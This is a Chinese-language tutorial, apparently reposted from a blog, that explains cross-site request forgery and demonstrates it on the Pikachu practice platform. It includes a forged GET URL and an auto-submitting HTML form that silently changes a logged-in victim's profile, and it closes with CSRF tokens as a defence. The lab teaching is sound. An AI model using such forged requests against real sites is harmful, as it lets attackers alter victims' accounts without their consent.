概述
- 攻击场景例子
- CSRF攻击需要条件
- CSRF和XSS的区别
- 如何确认一个目标站点是否有CSRF漏洞
CSRF(get)
CSRF(post)
CSRF(token)
防护措施
CSRF 是 Cross Site Request Forgery 的 简称,中文名为跨域请求伪造
在CSRF的攻击场景中,攻击者会伪造一个请求(一般是一个链接)
然后欺骗目标用户进行点击,用户一旦点击了这个请求,这个攻击也就完成了
所以CSRF攻击也被称为“one click”攻击
lucy想要在购物网站上修改购物地址,这个操作是lucy通过浏览器向后端发送了请求。这个请求里面包含了lucy的新有货地址,如果是通过GET提交的,那么会以URL传参的方式的方式将新的地址提交给后台,类似上图中的URL,相当于点了链接就能修改个人信息。
如果这时候攻击者想要修改lucy的信息怎么办?那么他需要取得lucy的账号,获得登录权限。这时候他可以将修改个人信息的请求伪造一下,构造类似下图中的URL,引诱lucy在登录状态下进行点击,这样攻击就成功了。
① 目标网站没有对修改个人信息修改的请求进行防CSRF处理,导致该请求容易被伪造
因此,判断一个网站有没有CSRF漏洞,其实就是判断对关键信息(密码等)的操作(增删改)是否容易被伪造
② lucy点击伪造的请求链接时有登录状态(已经登陆了目标网站),如果lucy没有登录,那么即便lucy点击了链接也没有作用
从CSRF的利用条件来看,CSRF的利用难度会大一些,所以CSRF对应的安全级别低一些
我们利用XSS可以达到盗取用户Cookie的目的,那么CSRF的区别在哪?
对目标站点增删改查的地方进行标记,并观察逻辑,判断请求是否可以伪造。
确认凭证的有效期
我们看一下Pikachu平台中CSRF(get)这个场景的使用,我们登录一下,账号有vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456
登录成功后可以来到个人中心,可以在这修改个人信息
我们尝试修改一下个人信息并提交,同时利用BurpSuite抓包查看修改个人信息的请求内容,我们改一下地址
从提交的请求来看,后台没做CSRF token,同时也是通过GET请求来提交修改信息,我们拿到这个,修改一下,然后让lucy点击就好,我们构造的URL中把地址add改为hacker。lucy一点击就修改了地址。
192.168.171.133/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=hacker&email=lucy%40pikachu.com&submit=submit
GET请求修改个人信息,所有的参数都在URL中体现,这种方式使比较好利用的,我们只要能够伪造出来这个链接,把对应的参数内容修改成为我们需要的值,让带有登录态的用户去点击就完成了我们的攻击。
如果是POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击
这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。
攻击者:192.168.171.129
漏洞服务器:192.168.171.133
编写一个post.html页面,代码如下所示,本文把此页面放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务
<html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="girl" /> <input id="phonenum" type="text" name="phonenum" value="12345678922" /> <input id="add" type="text" name="add" value="hacker" /> <input id="email" type="text" name="email" value="lucy@pikachu.com" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>
下面把页面的URL发送给受害者,只要受害者一点击这个链接,就会自动往服务器发送POST请求,修改地址信息
http://192.168.171.129/pikachu/doge_csrf/post.html
CSRF的主要问题是敏感操作容易被伪造,我们可以加入Token让请求不容易被伪造
我们进入Pikachu平台的CSRF(token)页面并登录,我们可以看一下这个GET请求
跟前面比较,这里多了一个Token,如果后台对提交的Token进行了验证,由于Token是随机的,我们就无法伪造URL了。
原文:https://www.cnblogs.com/dogecheng/p/11583412.html